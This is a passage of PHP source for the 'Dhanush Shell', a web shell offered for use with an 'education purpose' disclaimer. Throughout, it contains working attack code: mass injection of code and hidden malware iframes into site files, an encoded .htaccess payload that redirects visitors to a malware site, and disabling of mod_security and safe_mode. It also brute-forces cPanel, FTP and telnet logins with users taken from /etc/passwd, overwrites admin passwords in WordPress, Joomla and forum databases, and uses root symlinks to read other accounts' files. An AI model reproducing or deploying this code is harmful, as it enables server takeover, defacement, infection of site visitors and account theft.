<td style="border:none;"><a href="<?php echo $self.\'?mailbomb\'?>"><font class=mainmenu>[Mail]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?tools\'?>"><font class=mainmenu>[Tools]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?phpc\';?>"><font class=mainmenu>[PHP]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?exploit\'?>"><font class=mainmenu>[Exploit]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?connect\'?>"><font class=mainmenu>[Connect]</font></a></td>
</tr>
</table>
<div style="float:left;">
<a href="javascript:history.back(1)"><font color=lime size="3"> [Back] </font></a>
<a href="javascript:history.go(1)"><font color=lime size="3"> [Forward] </font></a>
<a href=""><font color=lime size="3"> [Refresh] </font></a> </div>
<table style="margin-left:270px; border-color:#333333;" border="2" width="60%;" cellpadding="2">
<tr align="center">
<td style="border:none;"><a href="<?php echo $self.\'?database\'?>"><font class=mainmenu>[SQL]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?404\'?>"><font class=mainmenu>[404 Page]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?malattack&dir=\'. $dir;?>"><font class=mainmenu>[Malware Attack]</a></td>
<td style="border:none;"><a href="<?php echo $self.\'?cpanel\'?>"><font class=mainmenu>[Cpanel Cracker]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?about\'?>"><font class=mainmenu>[About]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?selfkill\'?>" onClick="if(confirm(\'Are You Sure You Want To Kill This Shell ?\')){return true;}else{return false;}"><font class=mainmenu>[SelfKill]</font></a></td>
<td style="border:none;"><a href="<?php echo $self.\'?logout\'?>"><font class=mainmenu>[LogOut]</font></a></td>
</tr>
</table>
<table align="center" style="width:95%; background-color:#0C0C0C; -moz-border-radius:25px;"><br>
<tr>
<form method="GET" action="<?php echo $self; ?>">
<td style="width:35%;" align="right"> Present Working Directory : </td><td style="width:20%;"><input name="dir" class="box" style="width:300px;" value="<?php if($dir == null){echo getcwd();} else { echo $dir; } ?>"/></td>
<td><input type="submit" value=" Go " class="but" /></td><td align="right"><?php if($os == "Linux") { ?>
<a href="<?php echo $self.\'?downloadit\'; ?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
</form>
</tr>
</table>
<?php
if(isset($_POST[\'pathtomass\']) && $_POST[\'pathtomass\'] != \'\' && isset($_POST[\'filetype\']) && $_POST[\'filetype\'] != \'\' && isset($_POST[\'mode\']) && $_POST[\'mode\'] != \'\' && isset($_POST[\'injectthis\']) && $_POST[\'injectthis\'] != \'\')
{
//$dir = $_GET[\'dir\'];
$filetype = $_POST[\'filetype\'];
//$message = $_GET[\'message\'];
$mode = "a"; //default mode
// Modes Begin
if($_POST[\'mode\'] == \'Apender\')
{
$mode = "a";
}
if($_POST[\'mode\'] == \'Overwriter\')
{
$mode = "w";
}
if ($_POST[\'filetype\'] == \'php\')
{
if (is_dir($_POST[\'pathtomass\']))
{
$lolinject = $_POST[\'injectthis\'];
foreach (glob($_POST[\'pathtomass\'] . $directorysperator . "*.php") as $injectj00)
{
$fp=fopen($injectj00,$mode);
if (fputs($fp,$lolinject)){
echo \'<br><font color=lime size=3>\'.$injectj00.\' was injected<br></font>\';
} else {
echo \'<font color=red size=3>failed to inject \'.$injectj00.\'</font>\';
}
}
} else
{ //end if inputted dir is real -- if not, show an ugly red error
echo \'<b><font color=red>\'.$_POST[\'pathtomass\'].\' is not available!</font></b>\';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is php only
} // end if massbrowsersploit is called
if(isset($_GET[\'set404\']))
{
echo "<center><blink><font color=lime>Done setting 404 Page</font></blink></center>";
}
if(isset($_GET[\'cannotset404\']))
{
echo "<center><blink><font color=red>Cannot Set 404 Page</font></blink></center>";
}
if(isset($_GET[\'to\']) && isset($_GET[\'file\']))
{
if(!rename($_GET[\'file\'], $_GET[\'to\']))
{
$loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET[\'getdir\'];
header("Location:$loc");
ob_end_flush();
}
else
{
$loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET[\'getdir\'];
header("Location:$loc");
ob_end_flush();
}
}
if(isset($_POST["changeperms"]))
{
if($_POST[\'chmode\'] != null && is_numeric($_POST[\'chmode\']))
{
$perms = 0;
for($i=strlen($_POST[\'chmode\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'chmode\'][$i]*pow(8, (strlen($_POST[\'chmode\'])-$i-1));
if(@chmod($_POST[\'myfilename\'],$perms))
echo "<center><blink><font size=3 color=lime>File Permissions Changed Successfully</font></blink></center>";
else
echo "<center><blink><font size=3 color=red>Cannot Change File Permissions</font></blink></center>";
}
}
$setuploadvalue = 0;
if(isset($_POST[\'u\']))
{
$path = $_REQUEST[\'path\'];
if(is_dir($path))
{
$uploadedFilePath = $_FILES[\'uploadfile\'][\'name\'];
//echo $uploadedFilePath;
$tempName = $_FILES[\'uploadfile\'][\'tmp_name\'];
//echo $tempName;
if($os == "Windows")
$uploadPath = $path . $directorysperator . $uploadedFilePath;
else if($os == "Linux")
$uploadPath = $path . $directorysperator . $uploadedFilePath;
if($stat = move_uploaded_file($_FILES[\'uploadfile\'][\'tmp_name\'] , $uploadPath))
{
echo "<center><font color=lime size=3><blink>File uploaded to $uploadPath</blink></font></center>";
//header("Location:");
}
else
{
echo "<center><font color=red size=3><blink>Failed to upload file to $uploadPath</blink></font></center>";
}
}
}
if(isset($_POST[\'createdir\']))
{
if(!mkdir($_POST[\'createfolder\']))
echo "Failed To create";
}
if(isset($_POST[\'createmyfile\'])&&isset($_POST[\'filecontent\']))
{
$content = $_POST[\'filecontent\'];
$file_pointer = fopen($_POST[\'filecreator\'], "w+");
fwrite($file_pointer, $content);
fclose($file_pointer);
$loc = $_SERVER[\'REQUEST_URI\'];
header("Location:$loc");
ob_end_flush();
}
//Turn Safe Mode Off
if(getDisabledFunctions() != "None" || safe() != "OFF")
{
$file_pointer = fopen(".htaccess", "w+");
fwrite($file_pointer, "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
");
$file_pointer = fopen("ini.php", "w+");
fwrite($file_pointer, "<?
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"file\"]);
ini_restore(\"safe_mode\");
ini_restore(\"open_basedir\");
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"ss\"]);
?>");
$file_pointer = fopen("php.ini", "w+");
fwrite($file_pointer, "safe_mode = Off");
fclose($file_pointer);
//echo "Safe Mode Is Now Off..";
}
if(isset($_GET["downloadit"]))
{
$FolderToCompress = getcwd();
execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
$prd=explode("/","backup.tar");
for($i=0;$i<sizeof($prd);$i++)
{
$nfd=$prd[$i];
}
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($nfd));
header("Content-disposition: attachment; filename=\"".$nfd."\";");
readfile($nfd);
exit;
}
if(isset($_POST[\'uploadurl\']))
{
$functiontype = trim($_POST[\'functiontype\']);
$wurl = trim($_POST[\'wurl\']);
$path = magicboom($_POST[\'path\']);
$namafile = remotedownload($functiontype,$wurl);
$fullpath = $path . $directorysperator . $namafile;
if(is_file($fullpath))
{
echo "<center><font color=lime size=3>File uploaded to $fullpath</font></center>";
}
else
echo "<center><font color=red size=3>Failed to upload $namafile</font></center>";
}
else if(isset($_GET[\'about\']))
{ ?>
<bR><center>
<p><font color=red size=6><u>D h a n u s h</u></font><br>
<font color=red size=5>[--==Coded By Arjun==--]</font><br>
<br><div style=\'font-family: Courier New; font-size: 10px;\'><font color=lime ><pre>
- -- -
-- -- --
-- --
--- ---
------
----
----
------
-------
--- --
-- ---
-- -----
--- --- ---
--- --- ---
-- --------- --
-- ------- --
-- ---- --
-- --- --
-- -- --
--- --- -- ---
------ ------
---- ----
</pre></font></div></center>
<font class="txt">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font color=red size=5>GREETZ To All Indian Hackers</font><br><font color=red size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
<?php }
// Zone-h Poster
else if(isset($_GET["zone"]))
{
if(!function_exists(\'curl_version\'))
{
echo "<pre class=ml1 style=\'margin-top:5px\'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>";
}
?>
<center><font size="4" color="#FF0000">Zone-h Poster</font></center>
<form action="<?php echo $self; ?>" method="post">
<table align="center" cellpadding="5" border="0">
<tr>
<td>
<input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
<tr><td>
<select name="hackmode" class="box">
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
</td></tr>
<tr><td>
<select name="reason" class="box">
<option >--------SELECT--------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select></td></tr>
<tr><td>
<textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
<tr><td>
<input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" /></td></tr></table>
</form>
<?php }
// Deface Website
else if(isset($_GET[\'deface\']))
{
$myfile = fopen($_GET[\'deface\'],\'w\');
fwrite($myfile, base64_decode($ind));
fclose($myfile);
header("Location:$self");
ob_end_flush();
}
// Cpanel Cracker
else if(isset($_REQUEST[\'cpanel\']))
{
$cpanel_port="2082";
$connect_timeout=5;
if(!isset($_POST[\'username\']) && !isset($_POST[\'password\']) && !isset($_POST[\'target\']) && !isset($_POST[\'cracktype\']))
{
?>
<center>
<form method=post>
<table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
<tr>
<td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
</tr>
<tr>
<td align=center>User names</td><td align=center>Password</td>
</tr>
<tr>
<td align=center><textarea name=username rows=25 cols=22 class=box><?php
if($os != "Windows")
{
if(@file(\'/etc/passwd\'))
{
$users = file(\'/etc/passwd\');
foreach($users as $user)
{
$user = explode(\':\', $user);
echo $user[0] . "
";
}
}
else
{
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
$temp = trim($temp);
if($file5 = fopen("test.txt","w"))
{
fputs($file5,$temp);
fclose($file5);
$file = fopen("test.txt", "r");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo $matches;
}
fclose($file);
}
}
}
?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
</tr>
<tr>
<td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
</tr>
<tr>
<td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
</tr>
<tr>
<td align=center colspan=2><input type="submit" value=" Go " class=but></td>
</tr>
</table>
</form>
</center>
<?php
}
else
{
if(empty($_POST[\'username\']) || empty($_POST[\'password\']))
echo "<center>Please Enter The Users or Password List</center>";
else
{
$userlist=explode("
",$_POST[\'username\']);
$passlist=explode("
",$_POST[\'password\']);
if($_POST[\'cracktype\'] == "ftp")
{
foreach ($userlist as $user)
{
$pureuser = trim($user);
foreach ($passlist as $password )
{
$purepass = trim($password);
ftp_check($_POST[\'target\'],$pureuser,$purepass,$connect_timeout);
}
}
}
if ($_POST[\'cracktype\'] == "cpanel" || $_POST[\'cracktype\'] == "telnet")
{
if($cracktype == "telnet")
{
$cpanel_port="23";
}
else
$cpanel_port="2082";
foreach ($userlist as $user)
{
$pureuser = trim($user);
echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
Processing user $pureuser ...</font></b><br><br>";
foreach ($passlist as $password )
{
$purepass = trim($password);
cpanel_check($_POST[\'target\'],$pureuser,$purepass,$connect_timeout);
}
}
}
}
}
}
// Deface Website
else if(isset($_REQUEST[\'malattack\']))
{
?>
<center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&dir=<?php echo $_GET[\'dir\']; ?>"><font color="lime" size="4">| Malware Attack |</font></a></td>
<td><a href="<?php echo $self; ?>?malattack&codeinsert&dir=<?php echo $_GET[\'dir\']; ?>"><font color="lime" size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
<?php
if(isset($_GET[\'malware\']))
{ ?>
<center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&infect&dir=<?php echo $_GET[\'dir\']; ?>"><font color="lime" size="4">| Infect Users |</font></a></td>
<td><a href="<?php echo $self; ?>?malattack&malware&redirect&dir=<?php echo $_GET[\'dir\']; ?>"><font color="lime" size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
<?php
if(isset($_GET[\'redirect\']))
{
if($myfile = fopen(".htaccess",\'a\'))
{
$mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
fwrite($myfile, gzuncompress(base64_decode($mal)));
fwrite($myfile, "
");
fclose($myfile);
$mydir = "dir=".$_GET[\'dir\'];
header("Location:$self?malattack&$mydir");
ob_end_flush();
}
else
echo "<center>Cannot open file !!!!<center>";
}
else if(isset($_GET[\'infect\']))
{
$coun = 0;
$str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.php") as $injectj00)
{
if($myfile=fopen($injectj00,\'a\'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.htm") as $injectj00)
{
if($myfile=fopen($injectj00,\'a\'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
foreach (glob($_GET[\'dir\'] . $directorysperator . "*.html") as $injectj00)
{
if($myfile=fopen($injectj00,\'a\'))
{
fputs($myfile, $str);
fclose($myfile);
}
else
$coun = 1;
}
if($coun == 0)
echo "<center>Done !!!!<center>";
else
echo "<center>Cannot open files !!!!<center>";
}
}
else if(isset($_GET[\'codeinsert\']))
{
if(!isset($_POST[\'code\']))
{
if($file1 = fopen(".htaccess",\'r\'))
{
?>
<form method=post>
<textarea rows=9 cols=110 name="code" class=box><?php while(!feof($file1)) { echo fgets($file1); } ?></textarea><br>
<input type="submit" value=" Insert " class=but>
</form>
<?php }
else
echo "<center>Cannot Open File!!</center>";
}else
{
if($myfile = fopen(".htaccess",\'a\'))
{
fwrite($myfile, $_POST[\'code\']);
fwrite($myfile, "
");
fclose($myfile);
header("Location:$self?malattack");
ob_end_flush();
}
else
echo "Permission Denied";
}
}
}
// Password Change Forums
else if(isset($_POST[\'forumpass\']))
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$prefix = $_POST[\'prefix\'];
$newpass = $_POST[\'newpass\'];
$uid = $_POST[\'uid\'];
if($_POST[\'forums\'] == "vb")
{
$newpass = $_POST[\'newipbpass\'];
$uid = $_POST[\'ipbuid\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$salt = "eghjghrtd";
$newpassword = md5(md5($newpass) . $salt);
if($prefix == "" || $prefix == null)
$sql = mysql_query("update user set password = \'$newpassword\', salt = \'$salt\' where userid = \'$uid\'");
else
$sql = mysql_query("update ".$prefix."user set password = \'$newpassword\', salt = \'$salt\' where userid = \'$uid\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "mybb")
{
$newpass = $_POST[\'newipbpass\'];
$uid = $_POST[\'ipbuid\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$salt = "jeghj";
$newpassword = md5(md5($salt).md5($newpass));
if($prefix == "" || $prefix == null)
$sql = mysql_query("update mybb_users set password = \'$newpassword\', salt = \'$salt\' where uid = \'$uid\'");
else
$sql = mysql_query("update ".$prefix."users set password = \'$newpassword\', salt = \'$salt\' where uid = \'$uid\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "smf")
{
$newpass = $_POST[\'newipbpass\'];
$uid = $_POST[\'ipbuid\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
if($prefix == "" || $prefix == null)
{
$result = mysql_query("select member_name from smf_members where id_member = $uid");
$row = mysql_fetch_array($result);
$membername = $row[\'member_name\'];
$newpassword = sha1(strtolower($membername).$newpass);
$sql = mysql_query("update smf_members set passwd = \'$newpassword\' where id_member = \'$uid\'");
}
else
{
$result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
$row = mysql_fetch_array($result);
$membername = $row[\'member_name\'];
$newpassword = sha1(strtolower($membername).$newpass);
$sql = mysql_query("update ".$prefix."members set passwd = \'$newpassword\' where id_member = \'$uid\'");
}
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "phpbb")
{
$newpass = $_POST[\'newipbpass\'];
$uid = $_POST[\'ipbuid\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$newpassword = md5($newpass);echo $newpassword;
if(empty($prefix) || $prefix == null)
$sql = mysql_query("update phpb_users set user_password = \'$newpassword\' where user_id = \'$uid\'");
else
$sql = mysql_query("update ".$prefix."users set user_password = \'$newpassword\' where user_id = \'$uid\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "ipb")
{
$newpass = $_POST[\'newipbpass\'];
$uid = $_POST[\'ipbuid\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$salt = "eghj";
$newpassword = md5(md5($salt).md5($newpass));
if($prefix == "" || $prefix == null)
$sql = mysql_query("update members set members_pass_hash = \'$newpassword\', members_pass_salt = \'$salt\' where member_id = \'$uid\'");
else
$sql = mysql_query("update ".$prefix."members set members_pass_hash = \'$newpassword\', members_pass_salt = \'$salt\' where member_id = \'$uid\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "wp")
{
$uname = $_POST[\'uname\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$newpassword = md5($newpass);
if($prefix == "" || $prefix == null)
$sql = mysql_query("update wp_users set user_pass = \'$newpassword\', user_login = \'$uname\' where ID = \'$uid\'");
else
$sql = mysql_query("update ".$prefix."users set user_pass = \'$newpassword\', user_login = \'$uname\' where ID = \'$uid\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
header("Location:$self?forum&passwordchange&cannotchange");
}
if($_POST[\'forums\'] == "joomla")
{
$newjoomlapass = $_POST[\'newjoomlapass\'];
$joomlauname = $_POST[\'username\'];
$con = mysql_connect($localhost,$username,$password);
$db = mysql_select_db($database,$con);
$newpassword = md5($newjoomlapass);
if($prefix == "" || $prefix == null)
$sql = mysql_query("update jos_users set password = \'$newpassword\', username = \'$joomlauname\' where name = \'Super User\'");
else
$sql = mysql_query("update ".$prefix."users set password = \'$newpassword\', username = \'$joomlauname\' where name = \'Super User\' OR name = \'Administrator\'");
if($sql)
{
mysql_close($con);
header("Location:$self?forum&passwordchange&changed");
ob_end_flush();
}
else
{
header("Location:$self?forum&passwordchange&cannotchange");
ob_end_flush();
}
}
}
else if(isset($_GET[\'info\']))
{
echo "<br><font color=lime>".nl2br(shell_exec("whois ".$_GET[\'whois\']))."</font>";
}
// Get Domains
else if(isset($_REQUEST["symlinkserver"]))
{
?>
<center><table><tr><td><a href="<?php echo $self; ?>?domains&symlinkserver"><font color="lime" size="4">| Get Domains |</font></a></td>
<td><a href="<?php echo $self; ?>?symlink&symlinkserver"><font color="lime" size="4">| Symlink Server |</font></a></td>
<td><a href="<?php echo $self; ?>?symlinkfile&symlinkserver"><font color="lime" size="4">| Symlink File |</font></a></td>
<td><a href="<?php echo $self; ?>?script&symlinkserver"><font color="lime" size="4">| Script Locator |</font></a></td>
</tr></table></center><br>
<?php
if(isset($_GET["domains"]))
{
?> <center><iframe src="<?php echo \'http://sameip.org/ip/\' . getenv(\'SERVER_ADDR\'); ?>" width="80%" height="1000px"></iframe></center>
<?php }
else if(isset($_GET["symlink"]))
{
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
@mkdir("dhanush",0777);
@chdir("dhanush");
execmd("ln -s / root");
$file3 = \'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "<table align=center border=1 style=\'width:60%;border-color:#333333;\'><tr align =center><td align=center><font size=3 color=red>S. No.</font></td><td align=center><font size=3 color=red>Domains</font></td><td align=center><font size=3 color=red>Users</font></td><td align=center><font size=3 color=red>Symlink</font></td><td align=center><font size=3 color=red>Information</font></td></tr>";
$dcount = 1;
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font color=lime>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font color=lime>".$domains[1][0]."</font></a></td><td><font color=lime>".$user[\'name\']."</font></td><td><a href=\'/dhanush/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font color=lime>Symlink</font></a></td><td><font color=lime><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
$dcount++;
}
}
}
echo "</table>";
}
else
{
$TEST=@file(\'/etc/passwd\');
if ($TEST)
{
@mkdir("dhanush",0777);
@chdir("dhanush");
execmd("ln -s / root");
$file3 = \'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "<table align=center border=1 style=\'width:40%;border-color:#333333;\'><tr><td align=center><font size=4 color=red>S. No.</font></td><td align=center><font size=4 color=red>Users</font></td><td align=center><font size=3 color=red>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r");
//Output a line of the file until the end is reached
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3 color=lime>" . $dcount . "</td><td align=center><font size=3 color=lime>" . $matches . "</td>";
echo "<td align=center><font size=3 color=lime><a href=/dhanush/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
$dcount++;
}
fclose($file);
echo "</table>";
}
else
{
if($os != "Windows")
{
@mkdir("dhanush",0777);
@chdir("dhanush");
execmd("ln -s / root");
$file3 = \'Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "<table align=center border=1 style=\'width:40%;border-color:#333333;\'><tr><td align=center><font size=4 color=red>S. No.</font></td><td align=center><font size=4 color=red>Users</font></td><td align=center><font size=3 color=red>Symlink</font></td></tr>";
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(\':\',$uid)."
";
}
echo \'<br/>\';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$dcount = 1;
$file = fopen("test.txt", "r");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=3 color=lime>" . $dcount . "</td><td align=center><font size=3 color=lime>" . $matches . "</td>";
echo "<td align=center><font size=3 color=lime><a href=/dhanush/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
$dcount++;
}
fclose($file);
echo "</table>";
unlink("test.txt");
}
else
echo "<center><font size=4 color=red>Cannot create Symlink</font></center>";
}
}
}
else if(isset($_GET["symlinkfile"]))
{
if(!isset($_GET[\'file\']))
{
?>
<center>
<form action="<?php echo $self; ?>">
<input type="hidden" name="symlinkserver">
<input type="hidden" name="symlinkfile">
<input type="text" class="box" name="file" size="50" value="">
<input type="submit" value="Create Symlink" class="but">
</form></center>
<br><br>
<?php
}
else
{
$fakedir="cx";
$fakedep=16;
$num=0; // offset of symlink.$num
if(!empty($_GET[\'file\'])) $file=$_GET[\'file\'];
else if(!empty($_POST[\'file\'])) $file=$_POST[\'file\'];
else $file="";
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}
while(1<$as--) chdir("..");
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");
@rmdir("fakesymlink");
@unlink("fakesymlink");
@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;
@unlink("fakesymlink");
mkdir("fakesymlink");
die(\'<FONT COLOR="RED">check symlink <a href="./symlink\'.$num.\'">symlink\'.$num.\'</a> file</FONT>\');
}
}
else if(isset($_REQUEST["script"]))
